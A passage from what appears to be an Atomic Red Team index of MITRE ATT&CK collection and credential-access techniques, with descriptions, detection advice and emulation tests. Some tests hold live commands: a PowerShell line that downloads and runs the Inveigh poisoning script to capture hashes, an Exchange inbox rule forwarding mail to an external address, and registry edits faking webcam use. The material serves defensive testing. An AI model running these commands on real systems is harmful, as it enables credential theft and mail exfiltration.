        to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))
        by generating many broadcast DISCOVER messages to exhaust a network’s DHCP
        allocation pool. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: 'Monitor network traffic for suspicious/malicious behavior
        involving DHCP, such as changes in DNS and/or gateway parameters. Additionally,
        monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which
        specify that the IP allocations are low or have run out; these EIDs may indicate
        a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Alex Spivakovsky, Pentera
      - Andrew Allen, @whitehat_zero
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5
      created: '2022-03-24T19:30:56.727Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557/003
        external_id: T1557.003
      - source_name: rfc2131
        description: Droms, R. (1997, March). Dynamic Host Configuration Protocol.
          Retrieved March 9, 2022.
        url: https://datatracker.ietf.org/doc/html/rfc2131
      - source_name: new_rogue_DHCP_serv_malware
        description: Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware.
          Retrieved January 14, 2022.
        url: https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/
      - source_name: rfc3315
        description: J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol
          for IPv6 (DHCPv6). Retrieved June 27, 2022.
        url: https://datatracker.ietf.org/doc/html/rfc3315
      - source_name: dhcp_serv_op_events
        description: Microsoft. (2006, August 31).  DHCP Server Operational Events.
          Retrieved March 7, 2022.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)
      - source_name: solution_monitor_dhcp_scopes
        description: 'Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes
          and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved
          March 7, 2022.'
        url: https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/
      - source_name: w32.tidserv.g
        description: Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January
          14, 2022.
        url: https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1557.001:
    technique:
      modified: '2023-04-25T14:00:00.188Z'
      name: 'Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'
      description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
        spoof an authoritative source for name resolution to force communication with
        an adversary controlled system. This activity may be used to collect or relay
        authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR)
        and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve
        as alternate methods of host identification. LLMNR is based upon the Domain
        Name System (DNS) format and allows hosts on the same local link to perform
        name resolution for other hosts. NBT-NS identifies systems on a local network
        by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries
        can spoof an authoritative source for name resolution on a victim network
        by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know
        the identity of the requested host, effectively poisoning the service so that
        the victims will communicate with the adversary controlled system. If the
        requested host belongs to a resource that requires identification/authentication,
        the username and NTLMv2 hash will then be sent to the adversary controlled
        system. The adversary can then collect the hash information sent over the
        wire through tools that monitor the ports for traffic or through [Network
        Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes
        offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to
        obtain the plaintext passwords.\n\nIn some cases where an adversary has access
        to a system that is in the authentication path between systems or when automated
        scans that use credentials attempt to authenticate to an adversary controlled
        system, the NTLMv1/v2 hashes can be intercepted and relayed to access and
        execute code against a target system. The relay step can happen in conjunction
        with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM
        Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may
        encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB,
        MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral
        tools may be used to poison name services within local networks such as NBNSpoof,
        Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation:
        GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: |-
        Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)

        Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.

        Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.4'
      x_mitre_contributors:
      - Eric Kuehn, Secure Ideas
      - Matthew Demaske, Adaptforward
      - Andrew Allen, @whitehat_zero
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
      created: '2020-02-11T19:08:51.677Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557/001
        external_id: T1557.001
      - source_name: Rapid7 LLMNR Spoofer
        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
        url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
      - source_name: GitHub Responder
        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
          2017.
        url: https://github.com/SpiderLabs/Responder
      - source_name: Secure Ideas SMB Relay
        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
          Should Be On Your Mind. Retrieved February 7, 2019.
        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
      - source_name: TechNet NetBIOS
        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
          17, 2017.
        url: https://technet.microsoft.com/library/cc958811.aspx
      - source_name: GitHub NBNSpoof
        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
        url: https://github.com/nomex/nbnspoof
      - source_name: GitHub Conveigh
        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
          17, 2017.
        url: https://github.com/Kevin-Robertson/Conveigh
      - source_name: byt3bl33d3r NTLM Relaying
        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
          7, 2019.
        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
      - source_name: Sternsecurity LLMNR-NBTNS
        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
          and NBT-NS Poisoning. Retrieved November 17, 2017.'
        url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
      - source_name: Wikipedia LLMNR
        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
          Retrieved November 17, 2017.
        url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.0.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1557.001
    atomic_tests:
    - name: LLMNR Poisoning with Inveigh (PowerShell)
      auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321
      description: Inveigh conducts spoofing attacks and hash/credential captures
        through both packet sniffing and protocol specific listeners/sockets. This
        Atomic will run continuously until you cancel it or it times out.
      supported_platforms:
      - windows
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
          Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
        name: powershell
        elevation_required: true
  T1056.003:
    technique:
      modified: '2023-03-30T21:01:46.711Z'
      name: Web Portal Capture
      description: |-
        Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

        This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: File monitoring may be used to detect changes to files in
        the Web directory for organization login pages that do not match with authorized
        updates to the Web server's content.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_system_requirements:
      - An externally facing login portal is configured.
      type: attack-pattern
      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
      created: '2020-02-11T18:59:50.058Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/003
        external_id: T1056.003
      - source_name: Volexity Virtual Private Keylogging
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1125:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Video Capture
      description: |-
        An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

        In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Praetorian
      x_mitre_detection: |-
        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf
      created: '2017-05-31T21:31:37.917Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1125
        external_id: T1125
      - source_name: objective-see 2017 review
        description: Patrick Wardle. (n.d.). Retrieved March 20, 2018.
        url: https://objective-see.com/blog/blog_0x25.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      identifier: T1125
    atomic_tests:
    - name: Registry artefact when application use webcam
      auto_generated_guid: 6581e4a7-42e3-43c5-a0d2-5a0d62f9702a
      description: "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f
        cleanup_command: 'reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe
          /f

          '
        name: command_prompt
  T1213.001:
    technique:
      x_mitre_platforms:
      - SaaS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc
      type: attack-pattern
      created: '2020-02-14T13:09:51.004Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1213.001
        url: https://attack.mitre.org/techniques/T1213/001
      - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
          Retrieved April 4, 2018.
        source_name: Atlassian Confluence Logging
      modified: '2022-04-25T14:00:00.188Z'
      name: Confluence
      description: |2

        Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

        * Policies, procedures, and standards
        * Physical / logical network diagrams
        * System architecture diagrams
        * Technical system documentation
        * Testing / development credentials
        * Work / project schedules
        * Source code snippets
        * Links to network shares and other internal resources
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: |-
        Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

        User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1114.003:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Email Collection: Email Forwarding Rule'
      description: "Adversaries may setup email forwarding rules to collect sensitive
        information. Adversaries may abuse email forwarding rules to monitor the activities
        of a victim, steal information, and further gain intelligence on the victim
        or the victim’s organization to use as part of further exploits or operations.(Citation:
        US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries
        to maintain persistent access to victim's emails even after compromised credentials
        are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most
        email clients allow users to create inbox rules for various email functions,
        including forwarding to a different recipient. These rules may be created
        through a local email application, a web interface, or by command-line interface.
        Messages can be forwarded to internal or external recipients, and there are
        no restrictions limiting the extent of this rule. Administrators may also
        create forwarding rules for user accounts with the same considerations and
        outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation:
        Mac Forwarding Rules)\n\nAny user or administrator within the organization
        (or adversary with valid credentials) can create rules to automatically forward
        all received messages to another recipient, forward emails to different locations
        based on the sender, and more. Adversaries may also hide the rule by making
        use of the Microsoft Messaging API (MAPI) to modify the rule properties, making
        it hidden and not visible from Outlook, OWA or most Exchange Administration
        tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments,
        administrators may be able to enable email forwarding rules that operate organization-wide
        rather than on individual inboxes. For example, Microsoft Exchange supports
        transport rules that evaluate all mail an organization receives against user-specified
        conditions, then performs a user-specified action on mail that adheres to
        those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that
        abuse such features may be able to enable forwarding on all or specific mail
        an organization receives. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Microsoft Security
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      - Liran Ravich, CardinalOps
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)

        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - Windows
      - Google Workspace
      - macOS
      - Linux
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0
      created: '2020-02-19T18:54:47.103Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1114/003
        external_id: T1114.003
      - source_name: Mac Forwarding Rules
        description: Apple. (n.d.). Reply to, forward, or redirect emails in Mail
          on Mac. Retrieved June 22, 2021.
        url: https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac
      - source_name: Pfammatter - Hidden Inbox Rules
        description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in
          Microsoft Exchange. Retrieved October 12, 2021.
        url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
          Retrieved October 8, 2019.
        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
      - source_name: Microsoft Mail Flow Rules 2023
        description: Microsoft. (2023, February 22). Mail flow rules (transport rules)
          in Exchange Online. Retrieved March 13, 2023.
        url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules
      - source_name: US-CERT TA18-068A 2018
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1114.003
    atomic_tests:
    - name: Office365 - Email Forwarding
      auto_generated_guid: 3234117e-151d-4254-9150-3d0bac41e38c
      description: 'Creates a new Inbox Rule to forward emails to an external user
        via the "ForwardTo" property of the New-InboxRule Powershell cmdlet.

        '
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: 
        password:
          description: office-365 password
          type: string
          default: 
        rule_name:
          description: email rule name
          type: string
          default: Atomic Red Team Email Rule
        forwarding_email:
          description: destination email addresses
          type: string
          default: Atomic_Operator@fakeemail.aq
      dependency_executor_name: powershell
      dependencies:
      - description: "ExchangeOnlineManagement PowerShell module must be installed.
          Your user must also have an Exchange license. \n"
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: "Install-Module -Name ExchangeOnlineManagement         \nImport-Module
          ExchangeOnlineManagement\n"
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}"
        cleanup_command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Get-InboxRule | Where-Object { $_.Name -eq "#{rule_name}" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }
        name: powershell
        elevation_required: false
  T1074:
    technique:
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      - Shane Tully, @securitygypsy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e
      created: '2017-05-31T21:30:58.938Z'
      x_mitre_version: '1.4'
      external_references:
      - source_name: mitre-attack
        external_id: T1074
        url: https://attack.mitre.org/techniques/T1074
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: PWC Cloud Hopper April 2017
        url: https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
        description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved
          April 5, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

        In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

        Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Staged
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'File: File Access'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1056.002:
    technique:
      modified: '2024-04-15T23:39:31.474Z'
      name: 'Input Capture: GUI Input Capture'
      description: |-
        Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).

        Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)

        Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Matthew Molyett, @s1air, Cisco Talos
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process execution for unusual programs as well as
        malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
        that could be used to prompt users for credentials. For example, command/script
        history including abnormal parameters (such as requests for credentials and/or
        strings related to creating password prompts) may be malicious.(Citation:
        Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for
        indicators of illegitimacy, such as non-traditional banners, text, timing,
        and/or sources. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
      created: '2020-02-11T18:58:45.908Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/002
        external_id: T1056.002
      - source_name: LogRhythm Do You Trust Oct 2014
        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
          December 17, 2018.
        url: https://logrhythm.com/blog/do-you-trust-your-computer/
      - source_name: Spoofing credential dialogs
        description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs
          on macOS Linux and Windows. Retrieved August 19, 2021.
        url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
      - source_name: OSX Keydnap malware
